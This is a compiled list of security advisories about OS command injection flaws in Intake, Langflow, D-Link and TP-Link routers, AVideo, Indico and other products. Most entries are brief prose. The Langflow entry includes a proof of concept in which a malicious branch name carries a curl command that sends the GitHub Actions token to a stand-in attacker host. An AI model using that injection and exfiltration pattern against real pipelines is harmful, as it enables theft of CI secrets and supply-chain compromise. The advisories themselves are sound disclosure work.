Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Intake is a package for finding, investigating, loading and disseminating data. Prior to version 2.0.9, the shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. Version 2.0.9 mitigates the issue by making getshell False by default everywhere.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`Show less

A vulnerability was found in D-Link DIR-825 and DIR-825R 1.0.5/4.5.1. Affected is the function handler_update_system_time of the file libdeuteron_modules.so of the component NTP Service. The manipulation results in os command injection. The attack may be launched remotely. This vulnerability only affects products that are no longer supported by the maintainer.Show less

Indico is an event management system that uses Flask-Multipass, a multi-backend authentication system for Flask. In versions prior to 3.3.12, due to vulnerabilities in TeXLive and obscure LaTeX syntax that allowed circumventing Indico's LaTeX sanitizer, it is possible to use specially-crafted LaTeX snippets which can read local files or execute code with the privileges of the user running Indico on the server. Note that if server-side LaTeX rendering is not in use (ie `XELATEX_PATH` was not set in `indico.conf`), this vulnerability does not apply. It is recommended to update to Indico 3.3.12 as soon as possible. It is also strongly recommended to enable the containerized LaTeX renderer (using `podman`), which isolates it from the rest of the system. As a workaround, remove the `XELATEX_PATH` setting from `indico.conf` (or comment it out or set it to `None`) and restart the `indico-uwsgi` and `indico-celery` services to disable LaTeX functionality.Show less

A flaw has been found in TOTOLINK X6000R 9.4.0cu.1360_B20241207/9.4.0cu.1498_B20250826. Affected by this issue is the function setLanCfg of the file /usr/sbin/shttpd. Executing a manipulation of the argument Hostname can lead to os command injection. The attack may be launched remotely.Show less

Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the MCP (Model Context Protocol) server creation function allows specifying arbitrary commands and arguments, which are executed when testing the connection. This issue has been patched in version 1.8.4.Show less

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.Show less

Improper input handling in a modem-management administrative CLI command on TP-Link Archer NX200, NX210, NX500 and NX600 allows crafted input to be executed as part of an operating system command. An authenticated attacker with administrative privileges may execute arbitrary commands on the operating system, impacting the confidentiality, integrity, and availability of the device.Show less

Improper input handling in a wireless-control administrative CLI command on TP-Link Archer NX200, NX210, NX500 and NX600 allows crafted input to be executed as part of an operating system command. An authenticated attacker with administrative privileges may execute arbitrary commands on the operating system, impacting the confidentiality, integrity, and availability of the device.Show less

A weakness has been identified in kalcaddle kodbox 1.64. This affects the function checkBin of the file /workspace/source-code/plugins/fileThumb/app.php of the component fileThumb Endpoint. Executing a manipulation can lead to os command injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.Show less

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.Show less

WWBN AVideo is an open source video platform. In versions up to and including 26.0, multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands. Commit c85d076375fab095a14170df7ddb27058134d38c contains a patch.Show less

A vulnerability has been found in Tiandy Easy7 Integrated Management Platform up to 7.17.0. This vulnerability affects unknown code of the file /Easy7/apps/WebService/ImportSystemConfiguration.jsp of the component Configuration Handler. The manipulation of the argument File leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.Show less

Due to the improper neutralisation of special elements used in an OS command, an unauthenticated remote attacker can exploit an RCE vulnerability in the com_mb24sysapi module, resulting in full system compromise. This vulnerability is a variant attack for CVE-2020-10383.Show less

A flaw has been found in Linksys MR9600 2.0.6.206937. Affected is the function smartConnectConfigure of the file SmartConnect.lua. Executing a manipulation of the argument configApSsid/configApPassphrase/srpLogin/srpPassword can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.Show less

A security flaw has been discovered in Tenda F453 1.0.0.3. The affected element is the function FormWriteFacMac of the file /goform/WriteFacMac. The manipulation of the argument mac results in command injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.Show less

WWBN AVideo is an open source video platform. Prior to version 26.0, the `uploadVideoToLinkedIn()` method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn's API response, without sanitization via `escapeshellarg()`. If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user. Version 26.0 contains a fix for the issue.Show less

OpenClaw versions prior to 2026.2.22 fail to sanitize shell startup environment variables HOME and ZDOTDIR in the system.run function, allowing attackers to bypass command allowlist protections. Remote attackers can inject malicious startup files such as .bash_profile or .zshenv to achieve arbitrary code execution before allowlist-evaluated commands are executed.Show less

dynaconf is a configuration management tool for Python. Prior to version 3.2.13, Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @Jinja resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment. This issue has been patched in version 3.2.13.Show less